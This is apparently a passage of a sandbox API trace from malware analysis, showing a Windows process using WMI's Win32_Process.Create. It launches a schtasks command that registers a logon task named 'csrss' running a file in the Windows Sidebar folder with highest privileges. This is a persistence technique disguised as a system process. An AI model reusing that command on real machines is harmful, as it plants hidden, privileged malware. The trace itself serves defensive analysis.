puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.392] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0057.392] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0057.392] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0057.392] IUnknown:Release (This=0x111f638) returned 0x1 [0057.406] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11d4bd0) returned 0x0 [0057.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4bd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0057.406] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4bd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a100) returned 0x0 [0057.406] WbemDefPath:IUnknown:Release (This=0x11d4bd0) returned 0x0 [0057.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a100) returned 0x0 [0057.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0057.407] WbemDefPath:IUnknown:AddRef (This=0x116a100) returned 0x3 [0057.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0057.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0057.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11d4c10) returned 0x0 [0057.407] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4c10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.407] WbemDefPath:IUnknown:Release (This=0x11d4c10) returned 0x3 [0057.407] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0057.407] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0057.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0057.407] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x2 [0057.407] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x1 [0057.407] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0057.407] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0057.407] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a100, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a100) returned 0x0 [0057.407] WbemDefPath:IUnknown:AddRef (This=0x116a100) returned 0x3 [0057.407] WbemDefPath:IUnknown:Release (This=0x116a100) returned 0x2 [0057.407] WbemDefPath:IWbemPath:SetText (This=0x116a100, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a040, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a100, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x116a100, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x116a100, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0057.408] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x116a040) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a100, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a100, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a100, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0057.408] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a040, uIndex=0x0, pszName="root") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a100, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a100, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0057.408] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a040, uIndex=0x1, pszName="cimv2") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetServer (in: This=0x116a100, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetServer (in: This=0x116a100, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetServer (in: This=0x116a040, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetServer (in: This=0x116a040, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a040, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a040, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x116a040, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x116a040, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x116a040, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0057.408] WbemDefPath:IWbemPath:GetText (in: This=0x116a040, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0057.409] IWbemServices:GetObject (in: This=0x11c7830, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11da1f0, ppCallResult=0x0) returned 0x0 [0057.451] IWbemClassObject:GetMethod (in: This=0x11da1f0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11dac20, ppOutSignature=0x1b2fd9e0*=0x11db3f0) returned 0x0 [0057.451] IWbemClassObject:SpawnInstance (in: This=0x11dac20, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x11db760) returned 0x0 [0057.452] IWbemClassObject:Get (in: This=0x11db760, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfb70*=0, plFlavor=0x29cfb74*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfb70*=8, plFlavor=0x29cfb74*=32) returned 0x0 [0057.452] IWbemClassObject:Get (in: This=0x11db760, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfb70*=8, plFlavor=0x29cfb74*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfb70*=8, plFlavor=0x29cfb74*=32) returned 0x0 [0057.452] IWbemClassObject:Put (This=0x11db760, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0057.452] IWbemClassObject:Get (in: This=0x11db760, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfc00*=0, plFlavor=0x29cfc04*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfc00*=13, plFlavor=0x29cfc04*=32) returned 0x0 [0057.453] IWbemClassObject:Get (in: This=0x11db760, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfc00*=13, plFlavor=0x29cfc04*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cfc00*=13, plFlavor=0x29cfc04*=32) returned 0x0 [0057.453] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ca7b0) returned 0x0 [0057.453] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0057.453] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0057.453] IUnknown:AddRef (This=0x11ca7b0) returned 0x3 [0057.453] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0057.453] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0057.453] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ca7b8) returned 0x0 [0057.453] IMarshal:GetUnmarshalClass (in: This=0x11ca7b8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0057.453] IUnknown:Release (This=0x11ca7b8) returned 0x3 [0057.454] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0057.454] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0057.454] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0057.454] IUnknown:Release (This=0x11ca7b0) returned 0x2 [0057.454] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0057.454] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0057.454] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0057.454] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0057.454] IUnknown:QueryInterface (in: This=0x11ca7b0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0057.454] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0057.454] IUnknown:AddRef (This=0x11ca7b0) returned 0x3 [0057.454] IWbemClassObject:Put (This=0x11db760, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ca7b0, varVal2=0x0), Type=0) returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169d40, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetText (in: This=0x1169d40, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetText (in: This=0x1169d40, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169c80, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetText (in: This=0x1169c80, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetText (in: This=0x1169d40, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0057.455] WbemDefPath:IWbemPath:GetText (in: This=0x1169d40, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0057.455] IWbemServices:ExecMethod (in: This=0x11c7830, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x11db760, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x11dd270, ppCallResult=0x0) returned 0x0 [0057.628] IWbemClassObject:Get (in: This=0x11dd270, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cff18*=0, plFlavor=0x29cff1c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xed0, varVal2=0x0), pType=0x29cff18*=19, plFlavor=0x29cff1c*=0) returned 0x0 [0057.628] IWbemClassObject:Get (in: This=0x11dd270, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29cff18*=19, plFlavor=0x29cff1c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xed0, varVal2=0x0), pType=0x29cff18*=19, plFlavor=0x29cff1c*=0) returned 0x0 [0057.630] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0057.630] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0057.630] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0057.630] IUnknown:Release (This=0x111f638) returned 0x1 [0057.632] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11d4e10) returned 0x0 [0057.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4e10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0057.632] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4e10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x116a1c0) returned 0x0 [0057.632] WbemDefPath:IUnknown:Release (This=0x11d4e10) returned 0x0 [0057.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x116a1c0) returned 0x0 [0057.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0057.633] WbemDefPath:IUnknown:AddRef (This=0x116a1c0) returned 0x3 [0057.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0057.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0057.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11d4e50) returned 0x0 [0057.633] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4e50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.633] WbemDefPath:IUnknown:Release (This=0x11d4e50) returned 0x3 [0057.633] CoGetContextToken (in: 